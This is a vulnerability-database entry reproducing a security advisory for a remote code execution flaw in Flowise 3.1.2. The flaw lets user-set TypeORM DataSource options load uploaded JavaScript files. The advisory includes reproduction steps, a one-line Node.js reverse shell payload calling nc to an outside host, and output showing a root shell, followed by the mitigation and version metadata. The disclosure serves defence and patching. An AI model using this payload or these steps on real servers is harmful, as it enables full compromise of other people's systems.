GHSA-G32J-MMXR-GFQ5
Vulnerability from github – Published: 2026-08-04 14:28 – Updated: 2026-08-04 14:28============================================================================= Security Advisory elttam
Topic: Flowise RCE via TypeORM DataSource
Module: FlowiseAI/Flowise
Disclosed: 15-Apr-2026
Credits: Alex Brown
Affects: FlowiseAI/Flowise 3.1.2
I. Background
Flowise AI is an open-source, low-code platform for building AI applications—such as chatbots, workflows, and autonomous agents—through an intuitive drag-and-drop interface, minimising the need for extensive coding.
Flowise allows users to connect to remote databases within a flow, which is performed using the TypeORM DataSource.
II. Problem Description
The following nodes allowed users to set arbitrary options for the TypeORM DataSource class using the additionalConfig node input:
- packages/components/nodes/recordmanager/MySQLRecordManager/MySQLrecordManager.ts
- packages/components/nodes/recordmanager/PostgresRecordManager/PostgresRecordManager.ts
- packages/components/nodes/recordmanager/SQLiteRecordManager/SQLiteRecordManager.ts
- packages/components/nodes/memory/AgentMemory/MySQLAgentMemory/MySQLAgentMemory.ts
- packages/components/nodes/memory/AgentMemory/AgentMemory.ts
This is considered a dangerous coding practice, because the options for the TypeORM DataSource class support loading local files as JavaScript code.
The following documents the steps to reproduce this RCE vulnerability by abusing the additionalConfig input on a MySQL Record Manager (packages/components/nodes/recordmanager/MySQLRecordManager/MySQLrecordManager.ts) node:
- Log into a Flowise instance and note the organisation ID in the response from
POST /api/v1/auth/login, as shown below.
HTTP/1.1 200 OK
Set-Cookie: token=<REDACTED>; Path=/; HttpOnly; SameSite=Lax
Set-Cookie: refreshToken=<REDACTED>; Path=/; HttpOnly; SameSite=Lax
Set-Cookie: connect.sid=<REDACTED>; Path=/; HttpOnly; SameSite=Lax
Content-Type: application/json; charset=utf-8
Content-Length: 671
ETag: W/"29f-xnGhZVNYDhOOLUuVSPq0rZLC8mE"
Date: Wed, 15 Apr 2026 10:58:44 GMT
Connection: keep-alive
Keep-Alive: timeout=5
{
"activeOrganizationCustomerId": null,
"activeOrganizationId": "c060f6ef-047b-47b0-8f1a-15ffa11961cc", <1>
"activeOrganizationProductId": "",
"activeOrganizationSubscriptionId": null,
"activeWorkspace": "Default Workspace",
"activeWorkspaceId": "3206d8d3-944f-48c6-9332-11e2752b793e",
"assignedWorkspaces": [
{
"id": "3206d8d3-944f-48c6-9332-11e2752b793e",
"name": "Default Workspace",
"organizationId": "c060f6ef-047b-47b0-8f1a-15ffa11961cc", <1>
"role": "owner"
}
],
"email": "admin@flowise.local",
"features": {},
"id": "b60bc90f-c77d-41ba-bb7b-cbd7f9e6d4ab",
"isOrganizationAdmin": true,
"isSSO": false,
"name": "Admin",
"permissions": [
"organization",
"workspace"
],
"roleId": "b1d1a990-b908-1f7f-889b-5603cb093ff1"
}
<1> The organisation ID that is required for a later step.
- Create a new document store and use the File Loader to upload a file containing JavaScript code that would be executed outside the
vm2sandbox. The following script is a reverse shell payload that connects to172.17.0.1:1337that had a filename ofrce.js.
process.mainModule.require('child_process').execSync('/usr/bin/nc 172.17.0.1 1337 -e /bin/sh')
- Using a proxy tool such as Burp Suite or the browser's debug network tab, observe the response from the
POST /api/v1/document-store/loader/process/{loader_id}endpoint and retrieve thestoreId, as demonstrated in the response below.
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Content-Length: 1000
ETag: W/"3e8-7uqpJlOmso3F99EQLpeEzY2xh/o"
Date: Wed, 15 Apr 2026 10:59:34 GMT
Connection: keep-alive
Keep-Alive: timeout=5
{
"characters": 94,
"chunks": [
{
"chunkNo": 1,
"docId": "544ff838-bc55-4b28-97a1-c7442710b014",
"id": "7f5f4d41-f684-4b16-9b3c-c1623678e7a0",
"metadata": "{\"source\":\"blob\",\"blobType\":\"\"}",
"pageContent": "process.mainModule.require('child_process').execSync('/usr/bin/nc 172.17.0.1 1337 -e /bin/sh')",
"storeId": "afb065cc-8b53-4ff3-82d3-a19e012a2ecb" <1>
}
],
"count": 1,
"currentPage": 1,
"description": "",
"docId": "544ff838-bc55-4b28-97a1-c7442710b014",
"file": {
"files": [
{
"id": "5becc8f6-713b-4c6b-8ca8-3275791a730c",
"mimePrefix": "application/x-javascript",
"name": "rce.js",
"size": 94,
"status": "NEW",
"uploaded": "2026-04-15T10:59:34.039Z"
}
],
"id": "544ff838-bc55-4b28-97a1-c7442710b014",
"loaderConfig": {
"file": "FILE-STORAGE::[\"rce.js\"]",
"legacyBuild": "",
"metadata": "",
"omitMetadataKeys": "",
"pointerName": "",
"textSplitter": "",
"usage": "perPage"
},
"loaderId": "fileLoader",
"loaderName": "RCE File",
"status": "SYNC",
"totalChars": 94,
"totalChunks": 1
},
"storeName": "RCE POC Store",
"workspaceId": "3206d8d3-944f-48c6-9332-11e2752b793e"
}
<1> The store ID that is required for a later step.
- Import the following Chatflow and configure the "MySQL Record Manager", "OpenAI Embedding" and "Weaviate" nodes.
- Open the "Additional Parameters" window for the "MySQL Record Manager" node replace the placeholder values in the
additionalConfig.entitiessetting. The${HOME}is the home directory of the user running the Flowise server (e.g.,/rooton the published Docker image). The screenshot below shows an example path for the reverse shell payload that was uploaded in the previous steps.
- Start an Upsert operation and observe the reverse shell payload being executed, as demonstrated in the terminal output below.
$ nc -lnvp 1337
Listening on 0.0.0.0 1337
Connection received on 172.17.0.2 43421
id
uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
III. Impact
This sandbox escape vulnerability allows an authenticated user to execute arbitrary code on a server running Flowise, resulting in full compromise of the application.
IV. Solution
Do not allow users full control of the options for the TypeORM DataSource class. The following DataSource options are considered dangerous and should not be allowed:
extra: Could be abused to provide dangerous driver options.entities: Could be abused to load arbitrary JavaScript files.subscribers: Could be abused to load arbitrary JavaScript files.migrations: Could be abused to load arbitrary JavaScript files.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.1.2"
},
"package": {
"ecosystem": "npm",
"name": "flowise"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.1.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.1.2"
},
"package": {
"ecosystem": "npm",
"name": "flowise-components"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.1.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-69251"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-04T14:28:04Z",
"nvd_published_at": null,
"severity": "CRITICAL"
},
"details": "=============================================================================\n Security Advisory\n elttam\n\nTopic: Flowise RCE via TypeORM DataSource\n\nModule: FlowiseAI/Flowise\nDisclosed: 15-Apr-2026\nCredits: Alex Brown\nAffects: `FlowiseAI/Flowise 3.1.2`\n\n# I. Background\n\nFlowise AI is an open-source, low-code platform for building AI applications\u2014such as chatbots, workflows, and autonomous agents\u2014through an intuitive drag-and-drop interface, minimising the need for extensive coding.\n\nFlowise allows users to connect to remote databases within a flow, which is performed using the [TypeORM `DataSource`](https://typeorm.io/docs/data-source/data-source).\n\n# II. Problem Description\n\nThe following nodes allowed users to set arbitrary options for the TypeORM `DataSource` class using the `additionalConfig` node input:\n\n* [packages/components/nodes/recordmanager/MySQLRecordManager/MySQLrecordManager.ts](https://github.com/FlowiseAI/Flowise/blob/flowise-components%403.1.2/packages/components/nodes/recordmanager/MySQLRecordManager/MySQLrecordManager.ts#L122)\n* [packages/components/nodes/recordmanager/PostgresRecordManager/PostgresRecordManager.ts](https://github.com/FlowiseAI/Flowise/blob/465005a5036d9c4e5e3a7675527fa4cf9cff7507/packages/components/nodes/recordmanager/PostgresRecordManager/PostgresRecordManager.ts)\n* [packages/components/nodes/recordmanager/SQLiteRecordManager/SQLiteRecordManager.ts](https://github.com/FlowiseAI/Flowise/blob/465005a5036d9c4e5e3a7675527fa4cf9cff7507/packages/components/nodes/recordmanager/SQLiteRecordManager/SQLiteRecordManager.ts)\n* [packages/components/nodes/memory/AgentMemory/MySQLAgentMemory/MySQLAgentMemory.ts](https://github.com/FlowiseAI/Flowise/blob/5a37227d14dbe34234aa1cca97bc12092e0dbcd6/packages/components/nodes/memory/AgentMemory/MySQLAgentMemory/MySQLAgentMemory.ts)\n* [packages/components/nodes/memory/AgentMemory/AgentMemory.ts](https://github.com/FlowiseAI/Flowise/blob/5a37227d14dbe34234aa1cca97bc12092e0dbcd6/packages/components/nodes/memory/AgentMemory/AgentMemory.ts)\n\nThis is considered a dangerous coding practice, because the [options for the TypeORM `DataSource` class support loading local files as JavaScript code](https://typeorm.io/docs/data-source/data-source).\n\nThe following documents the steps to reproduce this RCE vulnerability by abusing the `additionalConfig` input on a MySQL Record Manager (`packages/components/nodes/recordmanager/MySQLRecordManager/MySQLrecordManager.ts`) node:\n\n1. Log into a Flowise instance and note the organisation ID in the response from `POST /api/v1/auth/login`, as shown below.\n\n```http\nHTTP/1.1 200 OK\nSet-Cookie: token=\u003cREDACTED\u003e; Path=/; HttpOnly; SameSite=Lax\nSet-Cookie: refreshToken=\u003cREDACTED\u003e; Path=/; HttpOnly; SameSite=Lax\nSet-Cookie: connect.sid=\u003cREDACTED\u003e; Path=/; HttpOnly; SameSite=Lax\nContent-Type: application/json; charset=utf-8\nContent-Length: 671\nETag: W/\"29f-xnGhZVNYDhOOLUuVSPq0rZLC8mE\"\nDate: Wed, 15 Apr 2026 10:58:44 GMT\nConnection: keep-alive\nKeep-Alive: timeout=5\n\n{\n \"activeOrganizationCustomerId\": null,\n \"activeOrganizationId\": \"c060f6ef-047b-47b0-8f1a-15ffa11961cc\", \u003c1\u003e\n \"activeOrganizationProductId\": \"\",\n \"activeOrganizationSubscriptionId\": null,\n \"activeWorkspace\": \"Default Workspace\",\n \"activeWorkspaceId\": \"3206d8d3-944f-48c6-9332-11e2752b793e\",\n \"assignedWorkspaces\": [\n {\n \"id\": \"3206d8d3-944f-48c6-9332-11e2752b793e\",\n \"name\": \"Default Workspace\",\n \"organizationId\": \"c060f6ef-047b-47b0-8f1a-15ffa11961cc\", \u003c1\u003e\n \"role\": \"owner\"\n }\n ],\n \"email\": \"admin@flowise.local\",\n \"features\": {},\n \"id\": \"b60bc90f-c77d-41ba-bb7b-cbd7f9e6d4ab\",\n \"isOrganizationAdmin\": true,\n \"isSSO\": false,\n \"name\": \"Admin\",\n \"permissions\": [\n \"organization\",\n \"workspace\"\n ],\n \"roleId\": \"b1d1a990-b908-1f7f-889b-5603cb093ff1\"\n}\n```\n\u003c1\u003e The organisation ID that is required for a later step.\n\n2. Create a new document store and use the File Loader to upload a file containing JavaScript code that would be executed outside the `vm2` sandbox. The following script is a reverse shell payload that connects to `172.17.0.1:1337` that had a filename of `rce.js`.\n\n```js\nprocess.mainModule.require(\u0027child_process\u0027).execSync(\u0027/usr/bin/nc 172.17.0.1 1337 -e /bin/sh\u0027)\n```\n\n3. Using a proxy tool such as Burp Suite or the browser\u0027s debug network tab, observe the response from the \n`POST /api/v1/document-store/loader/process/{loader_id}` endpoint and retrieve the `storeId`, as demonstrated in the response below.\n\n```http\nHTTP/1.1 200 OK\nContent-Type: application/json; charset=utf-8\nContent-Length: 1000\nETag: W/\"3e8-7uqpJlOmso3F99EQLpeEzY2xh/o\"\nDate: Wed, 15 Apr 2026 10:59:34 GMT\nConnection: keep-alive\nKeep-Alive: timeout=5\n\n{\n \"characters\": 94,\n \"chunks\": [\n {\n \"chunkNo\": 1,\n \"docId\": \"544ff838-bc55-4b28-97a1-c7442710b014\",\n \"id\": \"7f5f4d41-f684-4b16-9b3c-c1623678e7a0\",\n \"metadata\": \"{\\\"source\\\":\\\"blob\\\",\\\"blobType\\\":\\\"\\\"}\",\n \"pageContent\": \"process.mainModule.require(\u0027child_process\u0027).execSync(\u0027/usr/bin/nc 172.17.0.1 1337 -e /bin/sh\u0027)\",\n \"storeId\": \"afb065cc-8b53-4ff3-82d3-a19e012a2ecb\" \u003c1\u003e\n }\n ],\n \"count\": 1,\n \"currentPage\": 1,\n \"description\": \"\",\n \"docId\": \"544ff838-bc55-4b28-97a1-c7442710b014\",\n \"file\": {\n \"files\": [\n {\n \"id\": \"5becc8f6-713b-4c6b-8ca8-3275791a730c\",\n \"mimePrefix\": \"application/x-javascript\",\n \"name\": \"rce.js\",\n \"size\": 94,\n \"status\": \"NEW\",\n \"uploaded\": \"2026-04-15T10:59:34.039Z\"\n }\n ],\n \"id\": \"544ff838-bc55-4b28-97a1-c7442710b014\",\n \"loaderConfig\": {\n \"file\": \"FILE-STORAGE::[\\\"rce.js\\\"]\",\n \"legacyBuild\": \"\",\n \"metadata\": \"\",\n \"omitMetadataKeys\": \"\",\n \"pointerName\": \"\",\n \"textSplitter\": \"\",\n \"usage\": \"perPage\"\n },\n \"loaderId\": \"fileLoader\",\n \"loaderName\": \"RCE File\",\n \"status\": \"SYNC\",\n \"totalChars\": 94,\n \"totalChunks\": 1\n },\n \"storeName\": \"RCE POC Store\",\n \"workspaceId\": \"3206d8d3-944f-48c6-9332-11e2752b793e\"\n}\n```\n\u003c1\u003e The store ID that is required for a later step.\n\n4. Import the following Chatflow and configure the \"MySQL Record Manager\", \"OpenAI Embedding\" and \"Weaviate\" nodes.\n\n[typeorm-datasource-rce.json](https://github.com/user-attachments/files/26752045/typeorm-datasource-rce.json)\n\n5. Open the \"Additional Parameters\" window for the \"MySQL Record Manager\" node replace the placeholder values in the `additionalConfig.entities` setting. The `${HOME}` is the home directory of the user running the Flowise server (e.g., [`/root` on the published Docker image](https://hub.docker.com/layers/flowiseai/flowise/3.1.2/images/sha256-ddba104d8e50fbc1e72c6fe021d012be83e66d78d26816e1a6a3fddab4212eff)). The screenshot below shows an example path for the reverse shell payload that was uploaded in the previous steps.\n\n\u003cimg width=\"2229\" height=\"1148\" alt=\"mysql-datasource-config\" src=\"https://github.com/user-attachments/assets/f4351ee2-9761-458d-a2f8-cf21383394a2\" /\u003e\n\n6. Start an Upsert operation and observe the reverse shell payload being executed, as demonstrated in the terminal output below.\n\n```\n$ nc -lnvp 1337\nListening on 0.0.0.0 1337\nConnection received on 172.17.0.2 43421\nid\nuid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)\n```\n\n# III. Impact\n\nThis sandbox escape vulnerability allows an authenticated user to execute arbitrary code on a server running Flowise, resulting in full compromise of the application.\n\n# IV. Solution\n\nDo not allow users full control of the options for the TypeORM `DataSource` class. The following [`DataSource` options](https://typeorm.io/docs/data-source/data-source-options/) are considered dangerous and should not be allowed:\n\n* `extra`: Could be abused to provide dangerous driver options.\n* `entities`: Could be abused to load arbitrary JavaScript files.\n* `subscribers`: Could be abused to load arbitrary JavaScript files.\n* `migrations`: Could be abused to load arbitrary JavaScript files.",
"id": "GHSA-g32j-mmxr-gfq5",
"modified": "2026-08-04T14:28:04Z",
"published": "2026-08-04T14:28:04Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-g32j-mmxr-gfq5"
},
{
"type": "PACKAGE",
"url": "https://github.com/FlowiseAI/Flowise"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
"type": "CVSS_V4"
}
],
"summary": "Flowise RCE via TypeORM DataSource"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.